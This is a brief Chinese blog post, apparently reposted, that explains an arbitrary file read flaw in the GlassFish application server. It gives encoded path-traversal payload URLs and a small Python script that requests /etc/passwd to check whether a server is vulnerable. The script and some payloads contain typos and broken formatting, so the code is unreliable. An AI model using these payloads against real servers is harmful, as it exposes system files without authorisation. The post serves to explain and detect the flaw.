glassfish任意文件讀取漏洞解析
阿新 • • 發佈:2018-01-10
glass pat them res unicode編碼 load ble ets 過濾
一、背景:
glassfish是一款java編寫的跨平臺的開源的應用服務器。
二、漏洞原理:
與寬字節SQL註入一致,都是由於unicode編碼歧義導致的。具體payload如下構造:
http://ip:port/theme/META-INF/%c0%ae%co%ae/%c0%ae%co%ae/xxxpath/xxxfile
上述利用可以變形:
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
三、修復方案:
過濾掉. /等關鍵輸入即可。
四、檢查部分關鍵代碼:
1 #glassfish any files readable vuln:2 import requests 3 def check(ip,port): 4 url = "http://%s:%s/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" 5 response = requsets.get(url) 6 if response.status_code == 200: 7 print "Vuln"
glassfish任意文件讀取漏洞解析